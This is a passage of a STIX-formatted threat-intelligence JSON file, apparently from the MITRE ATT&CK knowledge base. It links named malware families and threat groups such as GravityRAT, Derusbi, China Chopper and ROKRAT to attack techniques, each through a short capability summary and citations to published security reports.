            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T15:44:59.435Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--03e6e755-12a2-4261-b95d-caea6b2bf051",
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            "description": "The author of [GravityRAT](https://attack.mitre.org/software/S0237) submitted samples to VirusTotal for testing, showing that the author modified the code to try to hide the DDE object in a different part of the document.(Citation: Talos GravityRAT)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.157Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) can perform credential dumping.(Citation: FireEye Periscope March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "type": "relationship",
            "modified": "2019-06-07T15:40:16.254Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A Linux version of [Derusbi](https://attack.mitre.org/software/S0021) checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. [Derusbi](https://attack.mitre.org/software/S0021) also gathers the username of the victim.(Citation: Fidelis Turbo)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.587Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a80751f1-8def-4415-a38b-35ceb703244c",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "external_references": [
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "(Citation: Talos Cobalt Group July 2018)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "type": "relationship",
            "modified": "2020-12-11T15:45:50.921Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Flame](https://attack.mitre.org/software/S0143) has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.(Citation: Symantec Beetlejuice)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache",
                    "description": "Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.",
                    "source_name": "Symantec Beetlejuice"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd",
            "type": "relationship",
            "modified": "2020-03-11T17:41:59.989Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b80516ee-1635-43da-babf-201d9f76c1d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) has a command to delete its Registry key and scheduled task.(Citation: Unit 42 QUADAGENT July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.267Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--838b4a52-1360-4ca7-ab25-1b549508e687",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An older version of [CHOPSTICK](https://attack.mitre.org/software/S0023) has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.881Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--db191b70-063d-433b-a462-9f7611a5a0e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) malware has used HTTP for C2.(Citation: Securelist LuckyMouse June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "source_name": "Securelist LuckyMouse June 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:42:39.423Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create a link to itself in the Startup folder to automatically start itself upon system restart.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-08-13T14:05:44.954Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6ff627a0-fd3d-46ac-a935-e503bd6b4d5f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wiarp](https://attack.mitre.org/software/S0206) connects to external C2 infrastructure over the HTTP port.(Citation: Symantec Wiarp May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Wiarp May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Analysis of [Daserf](https://attack.mitre.org/software/S0187) has shown that it regularly undergoes technical improvements to evade anti-virus detection.(Citation: Trend Micro Daserf Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "type": "relationship",
            "modified": "2020-03-16T16:40:40.408Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--719f0c42-8eb8-461b-8f35-cf5dfc42e47b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on users.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.623Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--66f2ff8f-abc2-4a6c-9652-89d7c824422c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.(Citation: Symantec Linfo May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Linfo May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
                }
            ],
            "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
            "type": "relationship",
            "modified": "2020-03-20T02:11:07.222Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--19be6ce1-8eea-47ff-b87c-3358d390454d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component is capable of opening a command terminal.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)",
            "object_marking_refs": [
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                {
                    "source_name": "SecureWorks BRONZE UNION June 2017",
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                    "url": "https://www.secureworks.com/research/bronze-union"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "source_name": "Lee 2013"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
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                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Moran 2014"
                }
            ],
            "description": "(Citation: Moran 2014)",
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            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to change firewall settings to allow a plug-in to be downloaded.(Citation: Zscaler Kasidet)",
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            ],
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                {
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                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
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            "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encodes data with base64.(Citation: McAfee Lazarus Resurfaces Feb 2018)",
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                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
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            ],
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                {
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "source_name": "US-CERT KEYMARBLE Aug 2018"
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            ],
            "description": "(Citation: US-CERT KEYMARBLE Aug 2018)",
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            "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of creating reverse shell.(Citation: FireEye APT32 May 2017)",
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                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
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            "type": "relationship",
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            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
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                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
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            "description": "(Citation: FireEye APT37 Feb 2018)",
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            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has run a plug-in on a victim to spread through the local network by using [PsExec](https://attack.mitre.org/software/S0029) and accessing admin shares.(Citation: Securelist BlackEnergy Nov 2014)",
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                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
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            "relationship_type": "uses",
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            "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a Windows service.(Citation: F-Secure CozyDuke)",
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            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.650Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) collects Keychain storage data and copies those passwords/tokens to a file.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                },
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "type": "relationship",
            "modified": "2020-01-17T19:33:18.054Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--92c901ce-5edb-417f-8af5-d569203e241c",
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            "description": "[ChChes](https://attack.mitre.org/software/S0144) is capable of downloading files, including additional modules.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)(Citation: FireEye APT10 April 2017)",
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                {
                    "source_name": "Palo Alto menuPass Feb 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
                },
                {
                    "source_name": "JPCERT ChChes Feb 2017",
                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.",
                    "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"
                },
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
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            "description": "[Naid](https://attack.mitre.org/software/S0205) connects to C2 infrastructure and establishes backdoors over a custom communications protocol.(Citation: Symantec Naid June 2012)(Citation: Symantec Naid in the Wild June 2012)",
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                {
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                    "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"
                },
                {
                    "source_name": "Symantec Naid in the Wild June 2012",
                    "description": "Symantec Security Response. (2012, June 18). CVE-2012-1875 Exploited in the Wild - Part 1 (Trojan.Naid). Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid"
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            "description": "[Volgmer](https://attack.mitre.org/software/S0180) uses a custom binary protocol to beacon back to its C2 server. It has also used XOR for encrypting communications.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)",
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                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                },
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
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            "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's IP address and domain information, and then sends it to its C2 server.(Citation: Proofpoint ZeroT Feb 2017)",
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            ],
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                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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            "modified": "2020-03-17T02:54:39.683Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[spwebmember](https://attack.mitre.org/software/S0227) is used to enumerate and dump information from Microsoft SharePoint.(Citation: NCC Group APT15 Alive and Strong)",
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            ],
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                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2021-03-29T19:54:46.073Z",
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            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using the LoadLibrary API.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "type": "relationship",
            "modified": "2019-06-28T20:48:52.483Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) uses the <code>net view</code> command for discovery.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.104Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After creating a new service for persistence, [TDTESS](https://attack.mitre.org/software/S0164) sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                }
            ],
            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-19T22:00:22.544Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--69bff194-c90e-4e30-a369-57da4cff014d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to modify the Registry.(Citation: Cylance Shell Crew Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-19T22:02:48.930Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c4f662d6-7e47-4161-bf8d-dd445ae901b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) captures screenshots of the infected system using the gdi32 library.(Citation: Talos ROKRAT)(Citation: Talos ROKRAT 2)(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                },
                {
                    "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT 2"
                },
                {
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "source_name": "Securelist ScarCruft May 2019"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
